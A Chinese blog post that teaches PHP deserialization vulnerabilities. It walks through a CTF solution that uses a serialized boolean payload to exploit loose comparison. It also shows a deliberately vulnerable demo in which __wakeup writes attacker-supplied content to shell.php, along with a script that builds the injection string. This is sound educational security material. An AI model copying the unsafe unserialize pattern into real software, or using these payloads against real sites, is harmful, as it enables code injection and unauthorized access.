MYZ's Blog.

php反序列化问题分析

字数统计: 892阅读时长: 3 min
2017/11/10 Share

本文参考自:
https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

先介绍实验吧上的一道ctf题:

源码:

1
2
3
4
5
$unserialize_str=_POST['password'];
data_unserialize=unserialize(unserialize_str);
if (data_unserialize['user'] == '???'&&data_unserialize['pass'] == '???') {
print_r($flag);
}

简单来说就是把post提交的password值经过”反序列化”得到一个数组,要求数组里的user和pass都等于某个值时就打印flag。
由于我们不知道两处???到底是什么,因此无法考虑用php函数构造这样的值。
bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。
构造password值为: a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}
在密码栏中提交构造的值,即可获取flag。

serialize()与unserialize()

在本地简单测试一下:

O:7:"chybeta":1:{s:4:"test";s:3:"123";}
O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。”chybeta”表示对象的名称。1表示有一个值。{s:4:”test”;s:3:”123”;}中,s表示字符串,4表示该字符串的长度,”test”为字符串的名称,之后的类似。

反序列化漏洞:

当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

Magic function

php中有一类特殊的方法叫“Magic function”, 这里我们着重关注一下几个:

  1. 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  2. 析构函数__destruct():当对象被销毁时会自动调用。
  3. __wakeup() :如前所提,unserialize()时会自动调用.
    测试其调用的时间:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    class chybeta{
    var $test = '123';
    function __wakeup(){
    echo "__wakeup";
    echo "</br>";
    }
    function __construct(){
    echo "__construct";
    echo "</br>";
    }
    function __destruct(){
    echo "__destruct";
    echo "</br>";
    }
    }
    $class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
    print_r($class2);
    echo "</br>";
    $class2_unser = unserialize($class2);
    print_r($class2_unser);
    echo "</br>";
    ?>

结果:

在使用unserialize()函数时,会调用序列化字符串中对象的wakeup()和_destruct()方法。
因此最理想的情况就是一些漏洞/危害代码在
wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。
下面举一个例子:
源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class chybeta{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";// 为显示效果,把这个shell.php包含进来
?>

基本思路是:
通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。

这里需要注意的是如何获取序列化的字符串?
写个php脚本:

1
2
3
4
5
6
7
8
<?php
class chybeta{
var $test = '123';
}
$class4 = new chybeta();
$class4->test = "<?php phpinfo();?>";
print_r(serialize($class4));
?>

仔细分析上面的代码,了解获取对应序列化字符串的方法
序列化的结果:
O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

其他的magic funtion方法利用方式类似
相关的漏洞挖掘的案例和一些技巧可以参考:http://bobao.360.cn/learning/detail/3193.html

CATALOG
  1. 1. 先介绍实验吧上的一道ctf题:
  2. 2. serialize()与unserialize()
  3. 3. 反序列化漏洞:
    1. 3.1. Magic function